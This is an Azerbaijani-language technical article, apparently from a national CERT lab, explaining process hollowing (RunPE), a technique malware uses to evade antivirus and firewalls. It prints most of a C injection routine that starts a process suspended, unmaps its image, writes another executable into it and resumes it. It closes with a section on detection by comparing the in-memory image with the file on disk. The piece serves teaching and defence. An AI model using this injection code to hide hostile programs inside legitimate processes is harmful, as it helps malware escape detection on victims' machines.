Məqalə-də bəhs edilən metodun pis məqsədlər üçün istifadəsi cinayət əməlidir.
Zərərverici proqram təminatlarını yazan şəxslərə birinci dərəcəli problemlərinin nə olduğunu soruşsaq ehtimal ki, Anti-virus və bənzər proqram təminatları tərəfindən aşkarlanmaları cavabını verərlər. Bu cavab heçdə gözlənilməz deyil. Bir anlıq anti-virus və oxşar proqram təminatlarının mövcud olmadığını və zərərvericilərin işlərinin nə qədər rahat olduğunu düşünün. Xoşbəxtlikdən bu ssenari ilə üz-üzə deyilik. Lakin bir digər məqam zərərvericilər ilə mübarizənin istənilən səviyyədə olmamasıdır. Buna səbəb qarşı tərəfin bir çox metodlar işləyib hazırlayaraq aşkarlanmadan yayına bilmələridir. Oxuduğunuz məqalənin mövzusu-da məhz budur. Bu gün sizlər ilə ədəbiyyətda “Process Hallowing” adı verilən və aşkarlanmadan yayınmaq üçün istifadə edilən mexanizm RunPE haqqında bəhs edəcəyik.
Belə bir ssenari düşünün:
- Anti-Virus imza bazasında zərərvericiyə aid imzalar artıq mövcuddur. Zərərverici özünü işə saldığı zaman aşkarlanma qaçınılmazdır.
- Bir başqa ssenaridə “Qoruyucu divar (firewall)” tərəfindən yalnız qanuni web bələdçilərinə 80-ci port ilə əleqəyə icazə verilib.
Zərərverici hər 2 halda problem ilə üzləşir və məqsədini həyata keçirə bilmir. Məhz bu tipli problemlərin həll edilməsi üçün RunPE mexanizmi uzun zamandır istifadə edilir. Baxmayaraq ki, son zamanlar anti-virus və bənzər proqram təminatları bu mexanizm ilə necə mübarizə aparacaqlarını öyrəniblər lakin hələdə aktual istifadə edilən bir mexanizmdir. Bu mexanizmdən istifadə edən bir zərərvericinin tərəfimizdən analizi-i ilə buradan tanış ola bilərsiniz.
RunPE və ya ümumi olaraq Prosesin boşaldılması, hər hansı bir qanuni (legal) prosesin işə salınıb, yaddaşının boşaldılaraq sözü gedən əraziyə zərərverici kodların yeridilməsidir. Yuxarıda qeyd edilən ssenari üzərindən. 80-ci porta giriş icazəsi olmayan zərərverici, icazəsi olan web bələdçini (Chrome, Firefox, IE, Edge və s.) işə salır və ona aid yaddaş ərazisini (yalnız sözü gedən modula aid) boşaldır və zərərverici kodları bu əraziyə yazaraq zərərli əməliyyatı icra edir. İlk ssenaridə zərərverici yuxarıda qeyd edilən metodu hər hansı bir sistem prosesini işə salaraq icra edir və aşkarlanmadan yayına bilər.
RunPE metodunun fəaliyyəti üçün aşağıdakı əməliyyatlar ardıcıllıq ilə icra edilməlidir:
- Hədəf proses (qanuni) dondurumuş (suspend) rejimdə işə salınır. Bu prosesin axınını dayandırmaq üçün vacibdir
- Prosesə aid yaddaş bölgəsi boşaldılır
- Zərərli icra edilə bilən fayl təhlilindən əldə edilən həcm qədər yeni yaddaş ərazisi ayrılır
- Zərərverici kodların yer aldığı icra edilə bilən fayl yeni yaradılan əraziyə köçürülür
- Axın lazım olan dəyərlər ilə yenilənir və işinə davam edir
Yuxarıda qeyd edilənləri daha yaxşı anlamağınız üçün gəlin sözü gedən metodu pratik olaraq test edək. Məqalə-də RunPE testi üçün C proqramlaşdırma dilindən istifadə edilib. Lakin digər proqramlaşdırma dilləri ilə sözü gedən əməliyyatı icra etmək mümkündür.
Yuxarıda qeyd edilənləri daha yaxşı anlamağınız üçün gəlin sözü gedən metodu pratik olaraq test edək. Məqalə-də RunPE testi üçün C proqramlaşdırma dilindən istifadə edilib. Lakin digər proqramlaşdırma dilləri ilə sözü gedən əməliyyyatı icra etmək mümkündür.
Test zamanı ASLR və Relocations ilə qarşı qarşıya qalmamaq üçün hədəf olaraq sistem faylı seçilməmişdir.
ASLR haqqında ətraflı məlumatı buradan əldə edə bilərsiniz.
Test üçün 3 ədad icra edilə bilən fayl lazımdır.
- Hədəf qanuni proses (target.exe)
- Zərərverici kodların yerləşdiyi və qanuni prosesı əvəzləyəcək zərərverici fayl
- 2-ci bənd icra edəcək olan fayl
İlk 2 şərt üçün assembly dilində 2 ədəd kicik proqram hazırlayırıq. Bunlardan 1-cisi (target.exe) ekrana "Salam dunya" mesajini verəcək, 2-cisi (malware.exe) isə "MRL.CERT.GOV.AZ" mesajını. İlk 2 bəndin şərtləri təmin edildikdən sonra zərərli kodların qanuni prosesin içərisinə yeridilməsi əməliyyatına başlamaq olar. Başlamazdan öncə hədəf faylda ASLR-i söndürürük.
Zərərli kodların yeridilməsi
Zərərli kodların yeridilməsi
Aşağıdakı kodların pis niyyətlər üçün istfadəsinin müəyyən mənada qarşını almaq üçün bəzi hissələr bilərəkdən kəsilmişdir. İlk olaraq zərərverici kodların mövcud olduğu icra edilə bilən fayl oxunulur və təhlil edilir.
hInputFile = CreateFileA(malware_exe, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
MalwareSize = GetFileSize(hInputFile, NULL);
MalwareImage = (PBYTE)malloc((SIZE_T)MalwareSize);
ZeroMemory(MalwareImage, MalwareSize);
ReadFile(hInputFile, MalwareImage, MalwareSize, &dwRead, NULL);
dos_header = (PIMAGE_DOS_HEADER)MalwareImage;
nt_header32 = (PIMAGE_NT_HEADERS32)(MalwareImage + (DWORD)dos_header->e_lfanew);
Daha sonra hədəf qanuni proses dondurulmuş rejimdə yaradılır və cari axın konteksi GetThreadContext funksiya ilə əldə edilir. Bundan sonra sözü gedən konteks üzərindən modula aid base adres götürülür.
CreateProcessA("c:\\Users\\Admin\\Desktop\\TARGET.EXE", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
GetThreadContext(pi.hThread, &TargetContext);
ReadProcessMemory(pi.hProcess, (LPCVOID)(TargetContext.Ebx + 8), (LPVOID)&ImageBaseAddress, 4, NULL);
Hədəf proses-ə aid yaddaş ərazisi boşaldılır.
NtUnmapViewOfSection((HANDLE)pi.hProcess, (PVOID)ImageBaseAddress);
Bundan sonra yeni yaddaş ərazisi ayrılır və ilk olaraq icra edilə bilən fayl başlıqları daha sonra isə bölmələri yeni yaradılan əraziyə köçürülür.
ImageBaseAddress = (DWORD)VirtualAllocEx(pi.hProcess, (LPVOID)ImageBaseAddress, nt_header32->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (LPVOID)ImageBaseAddress, MalwareImage, nt_header32->OptionalHeader.SizeOfHeaders, &dwWritten);
pSection = IMAGE_FIRST_SECTION(nt_header32);
for(i=0;i < nt_header32->FileHeader.NumberOfSections; i++)
{
WriteProcessMemory(pi.hProcess, (LPVOID)(DWORD)(ImageBaseAddress + pSection->VirtualAddress), (LPVOID)((DWORD)MalwareImage + pSection->PointerToRawData), pSection->SizeOfRawData, &dwWritten);
pSection++;
}
Zərərli kodlar qanuni prosesə aid yaddaş bölgəsinə köçürüldükdən sonra prosesə aid image base və entrypoint dəyərləri sazlanır və yeni proses-in yaddaşına yazılaraq ResumeThread funksiyası ilə dondurulmuş proses işinə geri qayıdır.
WriteProcessMemory(pi.hProcess, (LPVOID)(TargetContext.Ebx + 8), (LPVOID)(&ImageBaseAddress), sizeof(LPVOID), &dwWritten);
TargetContext.Eax = (DWORD)ImageBaseAddress + nt_header32->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, (LPCONTEXT)&TargetContext);
ResumeThread(pi.hThread);
Nəticə: Normal şəraitdə ekrana "Salam dunya!" mesajını verməsi gözlənilən proses zərərli kodların yaddaşına yeridilməsi ilə "MRL.CERT.GOV.AZ" mesajını verdi.
Proses boşaldılması mexanizminin aşkarlanması
Sözü gedən mexanizmin aşkar edilməsi üçün zərərverici faylın aşkarlanması-dan müstəqil olaraq istifadə edilən ən effektiv metod proses yaddaşında olan icra edilə bilən fayl ilə sərt disk üzərində olan icra edilə bilən faylın qarşılaşdırılması istifadə edilə bilər. Yəni sərt disk üzərində və yaddaşda olan icra edilə bilən fayl formatı təhlil edilərək aralarında uyğunluq olub olmasını aşkar edərək aşkarlanma həyata keçirilə bilər. Eyni zamanda PE bölmələri üzərindən xes alqoritmlərinin (standart xeş və ya context-triggered piecewise hashes - CTPH ) dəstəyi ilə aşkarlanma mümkündür.
Misal olaraq bizim ssenari-də yaddaş üzərində olan PE ilə sərt disk üzərində olan PE qarşılaşdırması:
İstinadlar
[1] https://www.adlice.com/runpe-hide-code-behind-legit-process